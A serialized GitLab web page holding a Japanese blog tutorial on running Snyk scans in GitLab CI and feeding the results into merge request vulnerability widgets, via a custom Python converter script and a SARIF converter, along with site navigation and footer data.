[{"data":1,"prerenderedAt":758},["ShallowReactive",2],{"/ja-jp/blog/integrate-external-security-scanners-into-your-devsecops-workflow":3,"navigation-ja-jp":37,"banner-ja-jp":437,"footer-ja-jp":447,"blog-post-authors-ja-jp-Sam Morris":653,"blog-related-posts-ja-jp-integrate-external-security-scanners-into-your-devsecops-workflow":667,"assessment-promotions-ja-jp":710,"next-steps-ja-jp":749},{"id":4,"title":5,"authorSlugs":6,"body":8,"categorySlug":9,"config":10,"content":14,"description":8,"extension":26,"isFeatured":12,"meta":27,"navigation":28,"path":29,"publishedDate":20,"seo":30,"stem":34,"tagSlugs":35,"__hash__":36},"blogPosts/ja-jp/blog/integrate-external-security-scanners-into-your-devsecops-workflow.yml","Integrate External Security Scanners Into Your Devsecops Workflow",[7],"sam-morris",null,"security",{"slug":11,"featured":12,"template":13},"integrate-external-security-scanners-into-your-devsecops-workflow",false,"BlogPost",{"heroImage":15,"body":16,"authors":17,"updatedDate":19,"date":20,"title":21,"tags":22,"description":25,"category":9},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098768/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%282%29_1khno1AUtxuL6zzmEmjK7v_1750098768560.png","ソフトウェアを開発する毎日において、セキュリティ脆弱性が本番環境に混入する機会は常に存在します。そのため、セキュリティをシフトレフトし、セキュリティテストとそれによって検出される脆弱性をソフトウェア開発ライフサイクルの最前線に配置することが、これまで以上に重要になっています。\n\nGitLabは幅広い種類のセキュリティスキャナーを提供しており、AI搭載DevSecOpsプラットフォームによって、ソフトウェアのセキュリティを完全に可視化します。GitLabでは、スキャンの実行だけでなく、結果の表示、マージリクエストポリシーによる承認プロセスの組み込み、デフォルトブランチにおける現在の脆弱性の表示を通じて、脆弱性レポートで今後のトリアージに活用できます。\n\n## セキュリティスキャンの実行方法\n\nGitLab Ultimateでは、マージリクエストウィジェットに脆弱性が直接表示され、コミットごとに更新されます。これらのスキャンは通常、プロジェクトの`.gitlab-ci.yml`パイプラインであれ、別途管理される[コンプライアンスパイプライン](https://docs.gitlab.com/ja-jp/user/compliance/compliance_pipelines/)、セキュリティポリシー、または別の.ymlファイルからの[インクルードされたパイプライン設定](https://docs.gitlab.com/ja-jp/ci/yaml/includes/)であれ、パイプライン内のジョブを通じて実行されます。GitLabのネイティブセキュリティスキャナーを実行することも、外部スキャナーを実行することもできます。この記事では、Snykスキャンを実行し、依存関係スキャン結果を脆弱性レコードとしてGitLabにフィードバックする方法を試しました。さらに、Static Analysis Results Interchange Format（SARIF）コンバーターを活用して、カスタムスクリプトを使用せずにSnykからSAST結果を直接読み取る方法も紹介します。\n\n## 外部スキャナーの使用\n\nGitLabは高い拡張性を持ち、プラットフォームでは多様なツールを統合できます。ビルトインのセキュリティスキャナーを使用することも、パイプラインやポリシー内のジョブを通じて外部スキャナーを使用することもできます。GitLabは、ガバナンスと実施のための単一プラットフォームとして機能し、独自のスキャナーを持ち込んで、DevSecOpsライフサイクルの早い段階で結果を確認できます。\n\n開始するには、セキュリティジョブを実行するだけで、マージリクエストと脆弱性レポートで結果を取得できます。\n\n## GitLab CIから外部スキャンを実行する\n\nこのパイプライン例では、テストステージで外部的にSnykスキャンを実行し、`gemnasium-maven-dependency_scanning`というオーバーライドしたジョブで実行します。まず、必要なパッケージ（npm、Maven、Python3、Snyk）をインストールし、次にプロジェクトの変数セクションに保存されたSNYK_TOKEN変数で認証します。最後に、Snyk CLIで`snyk test`コマンドを実行し、結果をJSONに出力します。これにより、結果がsnyk_data_file.jsonに保存され、次のセクションで詳しく説明するスクリプトで解析し、必要なアーティファクトファイル`gl-dependency-scanning-report.json`に保存します。\n\n```yaml\nstages:\n  - test\n\nvariables:\n\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml  \n\ngemnasium-maven-dependency_scanning:\n  image: node:latest\n  stage: test\n  services:\n  - openjdk:11-jre-slim-buster\n  before_script:\n    - apt-get update\n    - apt-get install default-jdk -y\n  script:\n    # Install npm, snyk, and maven\n    - npm install -g npm@latest\n    - npm install -g snyk\n    - npm install maven\n    - npm install python3\n    # Run snyk auth, snyk monitor, snyk test to break build and out report\n    - snyk auth $SNYK_TOKEN\n    - chmod +x mvnw\n    - snyk test --all-projects --json-file-output=snyk_data_file.json || true\n    - python3 convert-snyk-to-gitlab.py\n\n  # Save report to artifacts\n  artifacts:\n    when: always\n    paths: \n      - gl-dependency-scanning-report.json\n```\n\n### JSONの解析\n\n外部スキャナーからのスキャン結果をマージリクエストウィジェットで確認できます。これは、成功したセキュリティジョブのアーティファクトが適切に名前付けされている場合に可能です（例：`gl-dependency-scanning-report.json`）。\n\n以下は、Snyk JSON出力をGitLab JSON出力に変換するスクリプトの例です。この例では、Snykデータファイルを開き、脆弱性データをロードします。依存関係ファイルの新しいリストと、GitLabが脆弱性レコードに表示するために必要なデータ（識別子、重大度、カテゴリ、説明、場所など）を含む脆弱性の新しいリストを作成します。レコードに表示する必要のない必須フィールドには、いくつかのプレースホルダーセクションを追加しました。最後に、解析した内容を`gl-dependency-scanning-report.json`という新しいJSONファイルに保存しました。これは、GitLabがファイルを読み取り、その内容をウィジェットに表示するために必要なファイル名です。\n\n```text\nimport json\nfrom types import SimpleNamespace\n\nwith open(\"snyk_data_file.json\") as snyk_data_file:\n    snyk_data = json.load(snyk_data_file, object_hook=lambda d: SimpleNamespace(**d))\n\ngitlab_vulns = []\ndependency_files = []\nfor i in snyk_data:\n    dependency_files.append({\"path\": i.path, \"package_manager\": i.packageManager, \"dependencies\": []})\n    for v in i.vulnerabilities:\n        gitlab_identifiers = []\n        for vuln_type, vuln_names in v.identifiers.__dict__.items():\n            if vuln_names: \n                for vuln_name in vuln_names:\n                    gitlab_identifiers.append({\"type\": vuln_type, \"name\": vuln_name, \"value\": vuln_name.partition(\"-\")[2]})\n                gitlab_vulns.append({\"id\": v.id, \"category\": \"dependency_scanning\", \"severity\": v.severity.capitalize(), \"identifiers\": gitlab_identifiers, \"description\": v.description, \"location\": {\"file\": i.displayTargetFile, \"dependency\": {\"package\": {\"name\": \"PLACEHOLDER\"}, \"version\": \"PLACEHOLDER\"}}})\n\n# Dummy data for scan and dependency files \nfull_json = {\"version\": \"15.0.6\", \"dependency_files\": dependency_files, \"scan\": {\"analyzer\": {\"id\": \"snyk\", \"name\": \"Snyk\", \"vendor\": {\"name\": \"Snyk\"}, \"version\": \"1.0.2\"}, \"scanner\": {\"id\": \"my-snyk-scanner\", \"name\": \"My Snyk Scanner\", \"version\": \"1.0.2\", \"vendor\": {\"name\": \"Snyk\"}}, \"end_time\": \"2022-01-28T03:26:02\", \"start_time\": \"2020-01-28T03:26:02\", \"status\": \"success\", \"type\": \"dependency_scanning\"}, \"vulnerabilities\": gitlab_vulns}\n\nwith open(\"gl-dependency-scanning-report.json\", \"w\") as gitlab_file:\n    json.dump(full_json, gitlab_file, default=vars)\n```\n\nこれで、脆弱性の検出結果がマージリクエストウィジェットに表示されるようになります。\n\n![セキュリティスキャン検出](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098776/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098776479.png)\n\n## SARIFとSARIFコンバーターとは\n\nSARIFは、静的解析ツールの出力用のファイル形式です。さまざまなセキュリティスキャナーを活用する際に非常に便利です。すべての出力が同じ形式でフォーマットされているためです。これにより、アプリケーションセキュリティに対する汎用的で再現可能、かつスケーラブルなアプローチが可能になります。\n\nコミュニティで管理されている[SARIFコンバーター](https://gitlab.com/ignis-build/sarif-converter)があり、SARIFファイルを取得して、取り込み可能なレポートに変換します。Snykを含む多くのスキャナーをサポートしています。このコンバーターは、SASTとコード品質の検出結果の両方で機能します。この記事では、SASTに焦点を当てます。\n\n### SARIFコンバーターを使用してSAST結果を取得する\n\nSARIF結果を活用するには、まず前の例と同様にSnykスキャンをトリガーしますが、出力をSARIFファイルに保存します。その後、前述のコンバーターを使用して、レポートとして保存する新しいJSONファイルを作成します。\n\n```yaml\nsnyk:\n  image: node:latest\n  stage: test\n  services:\n  - openjdk:11-jre-slim-buster\n  before_script:\n    - apt-get update\n    - apt-get install default-jdk -y\n    - wget -O sarif-converter https://gitlab.com/ignis-build/sarif-converter/-/releases/permalink/latest/downloads/bin/sarif-converter-linux\n    - chmod +x sarif-converter\n  script:\n    # Install npm, snyk, and maven\n    - npm install -g npm@latest\n    - npm install -g snyk\n    - npm install maven\n    # Run snyk auth, snyk monitor, snyk test to break build and out report\n    - snyk auth $SNYK_TOKEN\n    - chmod +x mvnw\n    - snyk test --all-projects --sarif-file-output=snyk.sarif  || true\n    - ./sarif-converter --type sast snyk.sarif snyk.json\n\n  artifacts:\n    reports:\n      sast: snyk.json\n```\n\nJSONをアーティファクトとして保存すると、結果がマージリクエストウィジェットに表示されます。\n\n![セキュリティスキャン - 画像2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098776/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098776479.png)\n\n## まとめ\n\nこの記事では、カスタムスクリプトとSARIFコンバーターの両方を使用して、GitLabマージリクエストウィジェットで外部スキャナーの脆弱性を表示する方法を説明しました。これらの操作は、示されているパイプラインから実行できるだけでなく、コンプライアンスパイプラインやパイプライン実行ポリシーからも実行できます。これらにより、外部スキャナーの強制実行が可能になります。GitLab Ultimateでは、完全なDevSecOpsプラットフォームにアクセスでき、当社のスキャナーを使用することも独自のスキャナーを持ち込むこともできます。これにより、デベロッパーが本番環境に到達する前に脆弱性を修正できるシフトレフトワークフローを構築できます。\n\n> GitLab Ultimateを今すぐ無料トライアルして、外部スキャナーの統合を開始しましょう。\n\n## セキュリティスキャンに関するその他のリソース\n\n* [セキュリティスキャナー統合ドキュメント](https://docs.gitlab.com/development/integrations/secure/)\n* [カスタムセキュリティスキャナーをGitLabに統合する方法](https://about.gitlab.com/ja-jp/blog/how-to-integrate-custom-security-scanners-into-gitlab/)\n* [GitLabトラストセンター](https://about.gitlab.com/ja-jp/security/)",[18],"Sam Morris","2026-02-12","2024-04-08","外部セキュリティスキャナーをDevSecOpsワークフローに統合する",[9,23,24],"tutorial","testing","SnykスキャンのJSON結果をマージリクエストウィジェットに統合し、SARIFファイル形式を活用する方法を紹介します。","yml",{},true,"/ja-jp/blog/integrate-external-security-scanners-into-your-devsecops-workflow",{"ogTitle":21,"ogImage":15,"ogDescription":25,"ogSiteName":31,"noIndex":12,"ogType":32,"ogUrl":33,"title":21,"canonicalUrls":33,"description":25},"https://about.gitlab.com","article","https://about.gitlab.com/ja-jp/blog/integrate-external-security-scanners-into-your-devsecops-workflow","ja-jp/blog/integrate-external-security-scanners-into-your-devsecops-workflow",[9,23,24],"M26j9aUr-sAcXx38G-D4_5cUlE6m7hNEhojedhLxoqw",{"data":38},{"logo":39,"freeTrial":44,"sales":49,"login":54,"items":59,"search":367,"minimal":400,"duo":417,"pricingDeployment":427},{"config":40},{"href":41,"dataGaName":42,"dataGaLocation":43},"/ja-jp/","gitlab logo","header",{"text":45,"config":46},"無料トライアルを開始",{"href":47,"dataGaName":48,"dataGaLocation":43},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":50,"config":51},"お問い合わせ",{"href":52,"dataGaName":53,"dataGaLocation":43},"/ja-jp/sales/","sales",{"text":55,"config":56},"サインイン",{"href":57,"dataGaName":58,"dataGaLocation":43},"https://gitlab.com/users/sign_in/","sign in",[60,87,183,188,289,349],{"text":61,"config":62,"cards":64},"プラットフォーム",{"dataNavLevelOne":63},"platform",[65,71,79],{"title":61,"description":66,"link":67},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":68,"config":69},"プラットフォームを詳しく見る",{"href":70,"dataGaName":63,"dataGaLocation":43},"/ja-jp/platform/",{"title":72,"description":73,"link":74},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":75,"config":76},"GitLab Duoのご紹介",{"href":77,"dataGaName":78,"dataGaLocation":43},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":80,"description":81,"link":82},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":83,"config":84},"詳細はこちら",{"href":85,"dataGaName":86,"dataGaLocation":43},"/ja-jp/why-gitlab/","why gitlab",{"text":88,"left":28,"config":89,"link":91,"lists":95,"footer":165},"製品",{"dataNavLevelOne":90},"solutions",{"text":92,"config":93},"すべてのソリューションを表示",{"href":94,"dataGaName":90,"dataGaLocation":43},"/ja-jp/solutions/",[96,121,143],{"title":97,"description":98,"link":99,"items":104},"自動化","CI/CDと自動化でデプロイを加速",{"config":100},{"icon":101,"href":102,"dataGaName":103,"dataGaLocation":43},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[105,109,112,117],{"text":106,"config":107},"CI/CD",{"href":108,"dataGaLocation":43,"dataGaName":106},"/ja-jp/solutions/continuous-integration/",{"text":72,"config":110},{"href":77,"dataGaLocation":43,"dataGaName":111},"gitlab duo agent platform - product menu",{"text":113,"config":114},"ソースコード管理",{"href":115,"dataGaLocation":43,"dataGaName":116},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":118,"config":119},"自動化されたソフトウェアデリバリー",{"href":102,"dataGaLocation":43,"dataGaName":120},"Automated software delivery",{"title":122,"description":123,"link":124,"items":129},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":125},{"href":126,"dataGaName":127,"dataGaLocation":43,"icon":128},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[130,134,139],{"text":131,"config":132},"Application Security Testing",{"href":126,"dataGaName":133,"dataGaLocation":43},"Application security testing",{"text":135,"config":136},"ソフトウェアサプライチェーンの安全性",{"href":137,"dataGaLocation":43,"dataGaName":138},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":140,"config":141},"Software Compliance",{"href":142,"dataGaName":140,"dataGaLocation":43},"/ja-jp/solutions/software-compliance/",{"title":144,"link":145,"items":150},"測定",{"config":146},{"icon":147,"href":148,"dataGaName":149,"dataGaLocation":43},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[151,155,160],{"text":152,"config":153},"可視性と測定",{"href":148,"dataGaLocation":43,"dataGaName":154},"Visibility and Measurement",{"text":156,"config":157},"バリューストリーム管理",{"href":158,"dataGaLocation":43,"dataGaName":159},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":161,"config":162},"分析とインサイト",{"href":163,"dataGaLocation":43,"dataGaName":164},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":166,"items":167},"GitLabが活躍する場所",[168,173,178],{"text":169,"config":170},"Enterprise",{"href":171,"dataGaLocation":43,"dataGaName":172},"/ja-jp/enterprise/","enterprise",{"text":174,"config":175},"スモールビジネス",{"href":176,"dataGaLocation":43,"dataGaName":177},"/ja-jp/small-business/","small business",{"text":179,"config":180},"公共機関",{"href":181,"dataGaLocation":43,"dataGaName":182},"/ja-jp/solutions/public-sector/","public sector",{"text":184,"config":185},"価格",{"href":186,"dataGaName":187,"dataGaLocation":43,"dataNavLevelOne":187},"/ja-jp/pricing/","pricing",{"text":189,"config":190,"link":192,"lists":196,"feature":276},"関連リソース",{"dataNavLevelOne":191},"resources",{"text":193,"config":194},"すべてのリソースを表示",{"href":195,"dataGaName":191,"dataGaLocation":43},"/ja-jp/resources/",[197,230,248],{"title":198,"items":199},"はじめに",[200,205,210,215,220,225],{"text":201,"config":202},"インストール",{"href":203,"dataGaName":204,"dataGaLocation":43},"/ja-jp/install/","install",{"text":206,"config":207},"クイックスタートガイド",{"href":208,"dataGaName":209,"dataGaLocation":43},"/ja-jp/get-started/","quick setup checklists",{"text":211,"config":212},"学ぶ",{"href":213,"dataGaLocation":43,"dataGaName":214},"https://university.gitlab.com/","learn",{"text":216,"config":217},"製品ドキュメント",{"href":218,"dataGaName":219,"dataGaLocation":43},"https://docs.gitlab.com/","product documentation",{"text":221,"config":222},"ベストプラクティスビデオ",{"href":223,"dataGaName":224,"dataGaLocation":43},"/ja-jp/getting-started-videos/","best practice videos",{"text":226,"config":227},"インテグレーション",{"href":228,"dataGaName":229,"dataGaLocation":43},"/ja-jp/integrations/","integrations",{"title":231,"items":232},"検索する",[233,238,243],{"text":234,"config":235},"お客様成功事例",{"href":236,"dataGaName":237,"dataGaLocation":43},"/ja-jp/customers/","customer success stories",{"text":239,"config":240},"ブログ",{"href":241,"dataGaName":242,"dataGaLocation":43},"/ja-jp/blog/","blog",{"text":244,"config":245},"リモート",{"href":246,"dataGaName":247,"dataGaLocation":43},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":249,"items":250},"つなげる",[251,256,261,266,271],{"text":252,"config":253},"GitLabサービス",{"href":254,"dataGaName":255,"dataGaLocation":43},"/ja-jp/services/","services",{"text":257,"config":258},"コミュニティ",{"href":259,"dataGaName":260,"dataGaLocation":43},"/community/","community",{"text":262,"config":263},"フォーラム",{"href":264,"dataGaName":265,"dataGaLocation":43},"https://forum.gitlab.com/","forum",{"text":267,"config":268},"イベント",{"href":269,"dataGaName":270,"dataGaLocation":43},"/events/","events",{"text":272,"config":273},"パートナー",{"href":274,"dataGaName":275,"dataGaLocation":43},"/ja-jp/partners/","partners",{"backgroundColor":277,"textColor":278,"text":279,"image":280,"link":284},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":281,"config":282},"ソースプロモカード",{"src":283},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":285,"config":286},"最新情報を読む",{"href":287,"dataGaName":288,"dataGaLocation":43},"/ja-jp/the-source/","the source",{"text":290,"config":291,"lists":293},"会社情報",{"dataNavLevelOne":292},"company",[294],{"items":295},[296,301,307,309,314,319,324,329,334,339,344],{"text":297,"config":298},"GitLabについて",{"href":299,"dataGaName":300,"dataGaLocation":43},"/ja-jp/company/","about",{"text":302,"config":303,"footerGa":306},"採用情報",{"href":304,"dataGaName":305,"dataGaLocation":43},"/jobs/","jobs",{"dataGaName":305},{"text":267,"config":308},{"href":269,"dataGaName":270,"dataGaLocation":43},{"text":310,"config":311},"経営陣",{"href":312,"dataGaName":313,"dataGaLocation":43},"/company/team/e-group/","leadership",{"text":315,"config":316},"チーム",{"href":317,"dataGaName":318,"dataGaLocation":43},"/company/team/","team",{"text":320,"config":321},"ハンドブック",{"href":322,"dataGaName":323,"dataGaLocation":43},"https://handbook.gitlab.com/","handbook",{"text":325,"config":326},"投資家向け情報",{"href":327,"dataGaName":328,"dataGaLocation":43},"https://ir.gitlab.com/","investor relations",{"text":330,"config":331},"トラストセンター",{"href":332,"dataGaName":333,"dataGaLocation":43},"/ja-jp/security/","trust center",{"text":335,"config":336},"AI Transparency Center",{"href":337,"dataGaName":338,"dataGaLocation":43},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":340,"config":341},"ニュースレター",{"href":342,"dataGaName":343,"dataGaLocation":43},"/company/contact/#contact-forms","newsletter",{"text":345,"config":346},"プレス",{"href":347,"dataGaName":348,"dataGaLocation":43},"/press/","press",{"text":50,"config":350,"lists":351},{"dataNavLevelOne":292},[352],{"items":353},[354,357,362],{"text":50,"config":355},{"href":52,"dataGaName":356,"dataGaLocation":43},"talk to sales",{"text":358,"config":359},"サポートポータル",{"href":360,"dataGaName":361,"dataGaLocation":43},"https://support.gitlab.com","support portal",{"text":363,"config":364},"カスタマーポータル",{"href":365,"dataGaName":366,"dataGaLocation":43},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":368,"login":369,"suggestions":376},"閉じる",{"text":370,"link":371},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":372,"config":373},"GitLab.com",{"href":57,"dataGaName":374,"dataGaLocation":375},"search login","search",{"text":377,"default":378},"提案",[379,381,386,388,392,396],{"text":72,"config":380},{"href":77,"dataGaName":72,"dataGaLocation":375},{"text":382,"config":383},"コード提案（AI）",{"href":384,"dataGaName":385,"dataGaLocation":375},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":106,"config":387},{"href":108,"dataGaName":106,"dataGaLocation":375},{"text":389,"config":390},"GitLab on AWS",{"href":391,"dataGaName":389,"dataGaLocation":375},"/ja-jp/partners/technology-partners/aws/",{"text":393,"config":394},"GitLab on Google Cloud",{"href":395,"dataGaName":393,"dataGaLocation":375},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":397,"config":398},"GitLabを選ぶ理由",{"href":85,"dataGaName":399,"dataGaLocation":375},"Why GitLab?",{"freeTrial":401,"mobileIcon":405,"desktopIcon":410,"secondaryButton":413},{"text":45,"config":402},{"href":403,"dataGaName":48,"dataGaLocation":404},"https://gitlab.com/-/trials/new/","nav",{"altText":406,"config":407},"GitLabアイコン",{"src":408,"dataGaName":409,"dataGaLocation":404},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":406,"config":411},{"src":412,"dataGaName":409,"dataGaLocation":404},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":198,"config":414},{"href":415,"dataGaName":416,"dataGaLocation":404},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/compare/gitlab-vs-github/","get started",{"freeTrial":418,"mobileIcon":423,"desktopIcon":425},{"text":419,"config":420},"GitLab Duoの詳細について",{"href":421,"dataGaName":422,"dataGaLocation":404},"/ja-jp/gitlab-duo/","gitlab duo",{"altText":406,"config":424},{"src":408,"dataGaName":409,"dataGaLocation":404},{"altText":406,"config":426},{"src":412,"dataGaName":409,"dataGaLocation":404},{"freeTrial":428,"mobileIcon":433,"desktopIcon":435},{"text":429,"config":430},"料金ページに戻る",{"href":186,"dataGaName":431,"dataGaLocation":404,"icon":432},"back to pricing","GoBack",{"altText":406,"config":434},{"src":408,"dataGaName":409,"dataGaLocation":404},{"altText":406,"config":436},{"src":412,"dataGaName":409,"dataGaLocation":404},{"title":438,"button":439,"config":444},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":440,"config":441},"GitLab Transcendを今すぐ視聴",{"href":442,"dataGaName":443,"dataGaLocation":43},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":445,"icon":446},"release","AiStar",{"data":448},{"text":449,"source":450,"edit":456,"contribute":461,"config":466,"items":471,"minimal":645},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":451,"config":452},"ページのソースを表示",{"href":453,"dataGaName":454,"dataGaLocation":455},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":457,"config":458},"このページを編集",{"href":459,"dataGaName":460,"dataGaLocation":455},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":462,"config":463},"ご協力をお願いします",{"href":464,"dataGaName":465,"dataGaLocation":455},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":467,"facebook":468,"youtube":469,"linkedin":470},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[472,495,549,579,614],{"title":61,"links":473,"subMenu":478},[474],{"text":475,"config":476},"DevSecOpsプラットフォーム",{"href":70,"dataGaName":477,"dataGaLocation":455},"devsecops platform",[479],{"title":184,"links":480},[481,485,490],{"text":482,"config":483},"プランの表示",{"href":186,"dataGaName":484,"dataGaLocation":455},"view plans",{"text":486,"config":487},"Premiumを選ぶ理由",{"href":488,"dataGaName":489,"dataGaLocation":455},"/ja-jp/pricing/premium/","why premium",{"text":491,"config":492},"Ultimateを選ぶ理由",{"href":493,"dataGaName":494,"dataGaLocation":455},"/ja-jp/pricing/ultimate/","why ultimate",{"title":496,"links":497},"ソリューション",[498,503,506,508,513,518,522,525,528,533,535,537,539,544],{"text":499,"config":500},"デジタルトランスフォーメーション",{"href":501,"dataGaName":502,"dataGaLocation":455},"/ja-jp/topics/digital-transformation/","digital transformation",{"text":504,"config":505},"セキュリティとコンプライアンス",{"href":126,"dataGaName":133,"dataGaLocation":455},{"text":118,"config":507},{"href":102,"dataGaName":103,"dataGaLocation":455},{"text":509,"config":510},"アジャイル開発",{"href":511,"dataGaName":512,"dataGaLocation":455},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":514,"config":515},"クラウドトランスフォーメーション",{"href":516,"dataGaName":517,"dataGaLocation":455},"/ja-jp/topics/cloud-native/","cloud transformation",{"text":519,"config":520},"SCM",{"href":115,"dataGaName":521,"dataGaLocation":455},"source code management",{"text":106,"config":523},{"href":108,"dataGaName":524,"dataGaLocation":455},"continuous integration & delivery",{"text":156,"config":526},{"href":158,"dataGaName":527,"dataGaLocation":455},"value stream management",{"text":529,"config":530},"GitOps",{"href":531,"dataGaName":532,"dataGaLocation":455},"/ja-jp/solutions/gitops/","gitops",{"text":169,"config":534},{"href":171,"dataGaName":172,"dataGaLocation":455},{"text":174,"config":536},{"href":176,"dataGaName":177,"dataGaLocation":455},{"text":179,"config":538},{"href":181,"dataGaName":182,"dataGaLocation":455},{"text":540,"config":541},"教育",{"href":542,"dataGaName":543,"dataGaLocation":455},"/ja-jp/solutions/education/","education",{"text":545,"config":546},"金融サービス",{"href":547,"dataGaName":548,"dataGaLocation":455},"/ja-jp/solutions/finance/","financial services",{"title":189,"links":550},[551,553,555,557,560,562,565,567,569,571,573,575,577],{"text":201,"config":552},{"href":203,"dataGaName":204,"dataGaLocation":455},{"text":206,"config":554},{"href":208,"dataGaName":209,"dataGaLocation":455},{"text":211,"config":556},{"href":213,"dataGaName":214,"dataGaLocation":455},{"text":216,"config":558},{"href":218,"dataGaName":559,"dataGaLocation":455},"docs",{"text":239,"config":561},{"href":241,"dataGaName":242},{"text":563,"config":564},"お客様の成功事例",{"href":236,"dataGaLocation":455},{"text":234,"config":566},{"href":236,"dataGaName":237,"dataGaLocation":455},{"text":244,"config":568},{"href":246,"dataGaName":247,"dataGaLocation":455},{"text":252,"config":570},{"href":254,"dataGaName":255,"dataGaLocation":455},{"text":257,"config":572},{"href":259,"dataGaName":260,"dataGaLocation":455},{"text":262,"config":574},{"href":264,"dataGaName":265,"dataGaLocation":455},{"text":267,"config":576},{"href":269,"dataGaName":270,"dataGaLocation":455},{"text":272,"config":578},{"href":274,"dataGaName":275,"dataGaLocation":455},{"title":580,"links":581},"Company",[582,584,586,588,590,592,594,598,603,605,607,609],{"text":297,"config":583},{"href":299,"dataGaName":292,"dataGaLocation":455},{"text":302,"config":585},{"href":304,"dataGaName":305,"dataGaLocation":455},{"text":310,"config":587},{"href":312,"dataGaName":313,"dataGaLocation":455},{"text":315,"config":589},{"href":317,"dataGaName":318,"dataGaLocation":455},{"text":320,"config":591},{"href":322,"dataGaName":323,"dataGaLocation":455},{"text":325,"config":593},{"href":327,"dataGaName":328,"dataGaLocation":455},{"text":595,"config":596},"Sustainability",{"href":597,"dataGaName":595,"dataGaLocation":455},"/sustainability/",{"text":599,"config":600},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":601,"dataGaName":602,"dataGaLocation":455},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":330,"config":604},{"href":332,"dataGaName":333,"dataGaLocation":455},{"text":340,"config":606},{"href":342,"dataGaName":343,"dataGaLocation":455},{"text":345,"config":608},{"href":347,"dataGaName":348,"dataGaLocation":455},{"text":610,"config":611},"現代奴隷制の透明性に関する声明",{"href":612,"dataGaName":613,"dataGaLocation":455},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":50,"links":615},[616,618,623,625,630,635,640],{"text":50,"config":617},{"href":52,"dataGaName":53,"dataGaLocation":455},{"text":619,"config":620},"サポートを受ける",{"href":621,"dataGaName":622,"dataGaLocation":455},"/support/","get help",{"text":363,"config":624},{"href":365,"dataGaName":366,"dataGaLocation":455},{"text":626,"config":627},"ステータス",{"href":628,"dataGaName":629,"dataGaLocation":455},"https://status.gitlab.com/","status",{"text":631,"config":632},"利用規約",{"href":633,"dataGaName":634,"dataGaLocation":455},"/terms/","terms of use",{"text":636,"config":637},"プライバシーに関する声明",{"href":638,"dataGaName":639,"dataGaLocation":455},"/ja-jp/privacy/","privacy statement",{"text":641,"config":642},"Cookieの設定",{"dataGaName":643,"dataGaLocation":455,"id":644,"isOneTrustButton":28},"cookie preferences","ot-sdk-btn",{"items":646},[647,649,651],{"text":631,"config":648},{"href":633,"dataGaName":634,"dataGaLocation":455},{"text":636,"config":650},{"href":638,"dataGaName":639,"dataGaLocation":455},{"text":641,"config":652},{"dataGaName":643,"dataGaLocation":455,"id":644,"isOneTrustButton":28},[654],{"id":655,"title":18,"body":8,"config":656,"content":658,"description":8,"extension":26,"meta":662,"navigation":28,"path":663,"seo":664,"stem":665,"__hash__":666},"blogAuthors/en-us/blog/authors/sam-morris.yml",{"template":657},"BlogAuthor",{"name":18,"config":659},{"headshot":660,"ctfId":661},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660148/Blog/Author%20Headshots/sam_morris.png","6JTrhUIqSCU30Y9KZOaan8",{},"/en-us/blog/authors/sam-morris",{},"en-us/blog/authors/sam-morris","DfL241G6FQ5wNU6XYJLCEQLvnWBnyKnAi3wCPxOqBzE",[668,681,696],{"content":669,"config":679},{"title":670,"description":671,"authors":672,"heroImage":674,"date":675,"body":676,"category":9,"tags":677},"GitLab.comのセキュリティ強化：多要素認証の必須化","Secure by 